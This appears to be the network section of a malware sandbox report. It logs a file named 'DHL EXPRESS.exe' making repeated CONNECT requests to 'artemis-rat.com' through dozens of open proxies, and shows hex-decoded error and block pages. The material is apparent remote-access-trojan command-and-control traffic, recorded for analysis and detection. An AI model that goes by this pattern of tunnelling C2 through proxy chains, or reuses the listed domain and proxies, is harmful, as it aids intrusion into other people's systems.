Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.154395103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.493786097 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 18:36:47.494560957 CET	318	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.8	51397	185.217.143.23	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.165079117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.502933025 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.8	51464	98.181.137.83	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.165631056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.8	51449	147.75.92.251	10010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.167222023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.449105024 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.8	51535	23.152.40.15	5050	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.170171976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:47.157356024 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.8	51443	136.244.99.51	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.207990885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.8	51438	51.89.173.40	31724	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.209630966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.8	51401	103.118.44.136	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.219821930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.8	51465	43.129.228.46	7891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.220520973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.8	51428	45.11.95.165	6012	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.220629930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.8	51483	200.55.249.135	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.220777035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.065695047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.065972090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.956769943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.575057030 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.8	51416	212.108.145.195	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.220777035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.8	51546	24.249.199.12	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.221600056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.8	51444	120.77.148.138	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.223396063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.570135117 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.8	51585	104.17.210.9	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.224025965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.378561974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.8	51454	46.35.9.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.225785971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.8	51457	202.55.134.227	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.229895115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.065808058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.269140959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.300793886 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.8	51460	212.31.100.138	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.233094931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.8	51500	147.75.34.86	10000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.235547066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.538830042 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.8	51562	194.4.50.62	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.242981911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.8	51490	212.127.93.185	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.247239113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.8	51526	207.180.234.220	39737	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.255492926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909583092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.909646034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845628977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.565161943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.198494911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909751892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.206520081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
